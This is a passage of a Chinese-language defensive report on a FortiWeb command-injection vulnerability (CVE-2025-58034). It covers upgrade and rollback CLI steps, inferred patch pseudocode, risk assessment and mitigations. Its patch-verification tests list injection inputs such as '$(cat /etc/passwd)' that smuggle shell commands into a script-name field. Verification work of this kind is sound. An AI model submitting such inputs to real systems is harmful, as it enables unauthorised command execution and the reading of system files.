• 定期在演练环境中模拟对 FortiWeb 及其他边界安全设备的攻击

• 验证现有监控、告警与响应流程是否能快速发现并处理此类事件

5. 安全加固清单

• 禁用未使用的服务和端口

• 更改默认管理凭据

• 为所有管理账户启用 MFA

• 配置会话超时（建议 15 分钟）

• 限制并发管理会话

• 实施基于证书的认证

• 定期配置备份

• 实施变更管理流程

11.4 监控和告警

要配置的关键告警：

1. 管理员登录失败尝试（阈值：3）

2. 来自新 IP 地址的管理员登录

3. 配置更改

4. 固件更新

5. 新管理员账户创建

6. 系统重启

7. 高 CPU/内存利用率（可能的加密挖矿）

12. 修复建议

12.1 官方补丁信息

Fortinet 公告：FG-IR-25-513（也称为 FG-IR-25-028）

补丁发布日期：2025年11月18日

所需最低版本：

官方建议客户尽可能升级到各自分支的最新可用版本，而非仅满足最低修复版本。

12.2 升级策略建议

1. 评估现网部署：

• 统计各分支版本数量与业务重要性

• 优先安排关键业务链路上的设备

2. 实验环境验证：

• 在测试环境中升级一台代表性设备

• 验证：

  • 管理功能是否正常

  • 策略脚本等相关功能是否有行为变化

  • 性能与兼容性是否受影响

3. 分批次滚动升级：

• 按业务重要性和维护窗口逐步升级

• 每批升级后监控系统稳定性与日志

4. 升级后安全检查：

• 再次确认版本确实为修复版本

• 对 FortiWeb 日志、系统进程、账号进行异常排查

• 验证来自 IDS/IPS/WAF 的告警是否减少或恢复正常

12.3 升级程序

升级前步骤：

1. 查看目标版本的发行说明

2. 验证硬件/虚拟机兼容性

3. 检查许可要求

4. 备份当前配置

5. 安排维护窗口

6. 准备回滚程序

备份配置：

# 通过 CLI
FortiWeb# execute backup config ftp <filename> <ftp_server> <username> <password>

# 替代：TFTP
FortiWeb# execute backup config tftp <filename> <tftp_server>

# 包含完整配置
FortiWeb# execute backup full-config ftp <filename> <ftp_server> <username> <password>

升级过程：

# 方法 1：通过 CLI（TFTP）
FortiWeb# execute restore image tftp <firmware_file> <tftp_server>
FortiWeb# execute reboot

# 方法 2：通过 CLI（FTP）
FortiWeb# execute restore image ftp <firmware_file> <ftp_server> <username> <password>
FortiWeb# execute reboot

# 方法 3：通过 Web UI
System > Maintenance > Backup & Restore > Restore Firmware

升级后验证：

# 验证新版本
FortiWeb# get system status

# 检查配置完整性
FortiWeb# diagnose sys top

# 验证服务运行
FortiWeb# diagnose sys process list

# 测试 WAF 功能
FortiWeb# diagnose waf test

12.4 回滚程序

如果升级后出现问题：

# 恢复以前的固件
FortiWeb# execute restore image tftp <previous_firmware> <tftp_server>
FortiWeb# execute reboot

# 恢复配置
FortiWeb# execute restore config tftp <config_backup> <tftp_server>

12.5 验证清单

修复后验证：

• FortiWeb 版本已更新到已修补版本

• 所有服务正常运行

• WAF 策略完整且活跃

• 受保护的应用程序可访问

• 管理访问正常工作

• 日志转发到 SIEM

• 配置与备份无漂移

• 性能基线恢复

• 文档已更新

13. 修复分析

13.1 预期修复方法

由于 FortiWeb 源代码及补丁细节未公开，我们只能结合厂商公告和以往修复模式进行合理推断。

基于 CWE-78 最佳实践，补丁可能实现：

1. 输入校验增强

在policy_scripting_post_handler和相关 CLI 处理函数中：

• 增加对脚本名/参数的白名单校验

• 限制字符串长度

• 拒绝包含 shell 特殊字符和空白字符组合的输入

• 若输入不满足条件，则直接返回错误而不进入命令执行逻辑

// 预期的安全实现
int validate_script_name(const char *input) {
    // 白名单验证 - 只允许安全字符
    const char *allowed = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.-";

    for (int i = 0; input[i] != '\0'; i++) {
        if (strchr(allowed, input[i]) == NULL) {
            return 0; // 发现无效字符
        }
    }
    return 1; // 有效输入
}

2. 命令执行模型改造

将原先的危险模式替换为更安全的模式：

// 危险模式（原代码）
snprintf(cmd, "... %s ...", user_input);
system(cmd);

// 安全模式（修复后）
// 使用 fork + execve，将用户输入以参数数组形式传入
void secure_execute(const char *script) {
    // 首先验证输入
    if (!validate_script_name(script)) {
        log_error("无效的脚本名格式");
        return;
    }

    // 使用 execve 而不是 system()
    char *args[] = {"/usr/local/bin/fw_policy_script", "--script", (char*)script, NULL};
    char *env[] = {NULL};

    pid_t pid = fork();
    if (pid == 0) {
        execve("/usr/local/bin/fw_policy_script", args, env);
        exit(1);
    }
    // 等待并处理结果
}

3. 统一命令执行代理

• 将散落在各个 HTTP/CLI 处理函数中的命令执行逻辑收敛为一个"安全执行代理模块"

• 该模块内部实现严格的命令模板和参数验证

• 其他模块只能通过结构化参数调用代理，而非自行拼接命令字符串

4. 日志与审计增强

• 为策略脚本相关操作增加更详细的审计日志

• 包括调用的脚本名、调用者、时间等

• 便于在未来针对类似攻击进行溯源分析

5. 可能的安全配置调整

• 在某些版本中，厂商可能临时禁用了部分功能或接口

• 或增加了可配置的安全开关，用于限制"脚本执行"等高危管理功能

13.2 已修补版本中的安全改进

预期的安全增强：

1. 严格的输入验证

   • 基于白名单的字符验证

   • 格式验证

   • 长度限制

2. 移除 Shell 解释

   • 通过 exec 系列函数直接执行

   • 无 shell 元字符处理

   • 显式参数传递

3. 增强日志记录

   • 管理命令的详细审计日志

   • 验证失败尝试的日志记录

   • 异常检测触发器

4. 额外加固

   • 减少命令执行权限

   • 沙盒执行环境

   • 相关功能的速率限制

13.3 补丁有效性验证

验证补丁是否有效解决漏洞：

测试 1：基本注入被阻止

输入：safe_name; id
预期：错误或只执行正常脚本操作

测试 2：编码注入被阻止

输入：safe_name%0aid
预期：错误或解码并阻止

测试 3：嵌套注入被阻止

输入：$(cat /etc/passwd)
预期：错误或字面解释

13.4 补丁的局限性

需要考虑的潜在局限性：

1. 可能没有解决所有潜在的注入点

2. 自定义脚本/配置可能绕过验证

3. 第三方集成需要单独审查

4. 仍然需要纵深防御

14. 风险评估

14.1 CVSS 与理论风险

NVD 给出的 CVSS v3.1 基本评分约为 6.7（或 7.2，视不同来源而略有差异），主要原因是：

• 需要已认证权限（PR:H）

• 攻击复杂度相对较低（AC:L），网络可达（AV:N）

• 机密性、完整性、可用性均为高影响（C:H/I:H/A:H）

从纯 CVSS 视角看，这是一个中高风险的已认证 RCE 漏洞。

14.2 现实世界风险放大因素

1. 设备角色：

• FortiWeb 是 WAF/边界安全设备，一旦被控制，危害远大于普通业务服务器

• 攻击者可以通过修改策略来隐藏自身攻击行为

2. 攻击链组合：

• 与 CVE-2025-64446 等未认证漏洞组合后，形成从 Internet 到 root RCE 的完整链条

• 使得本来"需要认证"的漏洞在现实中等价于"无需认证"

3. 在野利用与 PoC：

• 多个国家级通告说明漏洞已被在野利用

• 安全社区普遍预测 PoC/攻击代码将很快公开

• 初始访问代理（IAB）和勒索软件团伙对这类漏洞极为敏感

4. 防御盲区：

• 许多组织将 WAF 视为"安全边界的一部分"，而非"优先防护对象"

• 漏洞管理与补丁流程往往优先关注应用服务器，而忽视安全设备本身

14.3 威胁态势

当前威胁级别：高

增加风险的因素：

• 确认在野外被积极利用

• 一周内的第二个零日表明针对性攻击

• 检测到约 2,000 次利用尝试

• CISA KEV 列表确认联邦严重关注

• 可链接实现未经身份验证的 RCE

• 多家安全厂商已发布检测规则

14.4 可能性评估

14.5 影响评估

14.6 风险矩阵

影响
            低      中      高
         +--------+--------+--------+
    高   |   中   |   高   |   严重  |  <-- 当前位置
可       +--------+--------+--------+
能 中   |   低   |   中   |   高   |
性       +--------+--------+--------+
    低   |   低   |   低   |   中   |
         +--------+--------+--------+

低 = 低风险    中 = 中等风险    高 = 高风险    严重 = 严重风险

当前风险级别：严重

综合来看，即使 CVSS 分值"只有"6.x-7.x，CVE-2025-58034 在现实中的风险等级应视为高或极高，取决于是否存在与之组合的路径遍历/认证绕过等漏洞。

14.7 业务风险因素

监管合规：

• PCI-DSS：WAF 被攻陷影响持卡人数据保护

• HIPAA：如果保护健康应用程序，医疗数据处于风险中

• GDPR：个人数据泄露通知要求

• SOX：财务数据完整性问题

运营影响：

• 所有受保护应用程序的安全控制被绕过

• 事件响应期间可能的服务中断

• 紧急补丁的资源分配

• 延长的监控要求

财务影响：

• 紧急补丁成本

• 事件响应和取证

• 潜在的监管罚款

• 客户通知成本

• 声誉损害和客户流失

14.8 风险降低策略

立即风险降低（24小时）：

• 应用补丁：降低风险 90%

• 访问限制：减少攻击面 70%

• 增强监控：提高检测能力

短期风险降低（1周）：

• MFA 实施：减少凭据盗窃影响

• 网络分段：限制横向移动

• 事件响应准备：减少成功攻击的影响

长期风险降低（持续）：

• 漏洞管理计划

• 定期安全评估

• 员工安全意识培训

• 第三方安全监控

15. 总结

15.1 漏洞本质

CVE-2025-58034 是 FortiWeb 中一个经典的 OS Command Injection 漏洞，根源在于policy_scripting_post_handler（及相关 CLI 处理函数）在调用系统命令前对用户输入缺乏充分校验，并采用容易被 shell 解释的字符串执行模型。

该漏洞允许经过身份验证的攻击者以 root 权限执行任意命令，可能导致：

• 完全控制 FortiWeb 设备

• 持久化驻留和后门安装

• 横向移动到内部网络

• 篡改或禁用安全防护

15.2 关键发现

1. 漏洞严重性：CVE-2025-58034 是一个严重的操作系统命令注入漏洞，允许经过身份验证的攻击者执行任意命令。

2. 积极利用：该漏洞正在野外被积极利用，Trend Micro 检测到约 2,000 次攻击。

3. 第二个零日：这是一周内披露的第二个 FortiWeb 零日，继 CVE-2025-64446 之后，表明针对 FortiWeb 设备的针对性攻击。

4. 攻击链风险：当与 CVE-2025-64446（路径遍历 + 认证绕过，CVSS 9.1）链接时，攻击者可以实现未经身份验证的远程代码执行。

5. 监管紧迫性：CISA 要求联邦机构在 2025 年 11 月 25 日前完成补丁。

6. 广泛影响：影响从 7.0.0 到 8.0.1 的所有 FortiWeb 版本，跨越 2023 年至今的部署。

7. 技术根因：policy_scripting_post_handler函数直接将用户输入拼接到 shell 命令中，缺乏输入验证和安全的命令执行模型。

15.3 风险高度

虽然名义上是"已认证漏洞"，但在与 CVE-2025-64446 等未认证漏洞组合后，实质上可以提供从 Internet 直接完全接管 FortiWeb 的能力，对整体业务安全构成极大威胁。

15.4 关键建议

立即（0-24小时）：

1. 升级到已修补版本：8.0.2+、7.6.6+、7.4.11+、7.2.12+、7.0.12+

2. 将管理接口访问限制到仅可信 IP，禁止互联网直接访问

3. 检查日志中的入侵指标

4. 验证所有管理账户凭据

5. 核查近期创建的管理员账号（排查 CVE-2025-64446 的攻击痕迹）

短期（1-7天）：

1. 为所有管理员账户实施多因素认证

2. 部署注入攻击模式的网络监控

3. 如怀疑被入侵，进行取证分析

4. 更新事件响应程序

长期（持续）：

1. 为 Fortinet 产品建立主动补丁管理

2. 订阅 Fortinet 安全公告

3. 实施纵深防御架构

4. 定期进行安全评估

5. 将 FortiWeb 等安全设备作为关键资产优先管理

15.5 防护优先级

1. 立即补丁- 将所有受影响 FortiWeb 升级到修复版本

2. 收紧管理面- 限制管理接口仅在可信网络可达，启用 MFA，使用跳板机与 PAM 管理高权限账号

3. 强化检测- 部署针对本漏洞与相关攻击链（含 CVE-2025-64446）的检测规则，监控异常管理操作与系统行为

4. 改进工程实践- 在内部开发中杜绝"用户输入 -> 拼接 shell 字符串 -> system()"这种模式，对安全设备管理平面代码进行专项审计

15.6 经验教训

1. 边界设备需要优先补丁- WAF 等安全设备是高价值目标，应优先于普通业务系统

2. 纵深防御至关重要- 单一安全控制点是脆弱的

3. 认证不是充分的保护- 后认证漏洞可以与认证绕过链接

4. 监控必须持续- 在公开披露之前就已经开始积极利用

5. 供应商关系很重要- 快速获取补丁和公告至关重要

6. 安全设备本身的安全性- 常常被忽视，而一旦其管理面出现命令注入这类高危漏洞，造成的影响往往比普通业务系统更为严重

15.7 研究与复现建议

• 研究人员应仅在隔离实验环境中构建 PoC，用于验证补丁效果与检测能力

• 生产环境中，不建议进行任何主动利用测试，除非在严格授权和变更流程控制之下

• 复现完成后，及时销毁或修复实验环境，避免被其他人滥用

15.8 最终评估

CVE-2025-58034 对依赖 FortiWeb 进行 Web 应用程序保护的组织构成重大威胁。以下因素的组合：

• 野外被积极利用

• WAF 在安全架构中的关键位置

• 与其他漏洞链接的能力

• 对机密性、完整性和可用性的高影响

...使此漏洞成为最高优先级的修复项目。组织应将此视为安全紧急情况，并立即实施建议的保护措施。

建议各组织在后续漏洞管理与攻防演练中，将 FortiWeb 等安全设备作为一等公民，给予与核心业务系统同等甚至更高的关注。

参考资料

官方来源

• Fortinet PSIRT 公告 FG-IR-25-513：https://fortiguard.fortinet.com/psirt/FG-IR-25-513

• NVD CVE-2025-58034：https://nvd.nist.gov/vuln/detail/CVE-2025-58034

• CISA KEV 目录：https://www.cisa.gov/known-exploited-vulnerabilities-catalog

• ZDI 公告 ZDI-25-1014：https://www.zerodayinitiative.com/advisories/ZDI-25-1014/

技术参考

• CWE-78 操作系统命令注入：https://cwe.mitre.org/data/definitions/78.html

• FortiWeb 文档：https://docs.fortinet.com/product/fortiweb/

• FortiWeb 网络架构指南：https://docs.fortinet.com/document/fortiweb/8.0.0/network-architecture-guide/

安全研究

• Trend Micro 研究（Jason McFadyen）

• Tenable CVE-2025-64446 分析：https://www.tenable.com/blog/cve-2025-64446-fortinet-fortiweb-zero-day-path-traversal-vulnerability-exploited-in-the-wild

• Bleeping Computer 报道：https://www.bleepingcomputer.com/news/security/fortinet-warns-of-new-fortiweb-zero-day-exploited-in-attacks/

• Rapid7 威胁通告

• Field Effect 安全公告

• SOCRadar 威胁情报

检测资源

• Nessus 插件 275774

• Qualys/OpenVAS 相关 QID

本报告仅供教育和防御安全目的使用。所有测试只应在获得适当权限的授权系统上进行。代码片段均为推导的伪代码，仅用于安全研究与防御目的，不保证与厂商真实实现一一对应。